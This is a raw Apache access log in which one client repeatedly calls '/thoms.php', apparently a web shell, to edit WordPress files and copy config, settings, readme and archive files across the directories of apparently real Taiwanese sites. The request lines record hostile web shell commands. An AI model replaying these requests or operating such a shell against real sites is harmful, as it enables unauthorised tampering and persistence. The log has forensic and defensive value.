45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 12771 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=bft.com.tw HTTP/1.1" 200 16353 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19135 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19135 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19229 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19218 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12020 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=bft.com.tw HTTP/1.1" 200 18703 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?edit=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 15084 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19136 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19228 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 11997 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19245 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19227 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19254 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p= HTTP/1.1" 200 12008 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19376 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19226 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /bft.com.tw/wp-blog-header.php?step=0 HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19227 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19199 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19169 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19227 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19227 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19227 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19226 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19226 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
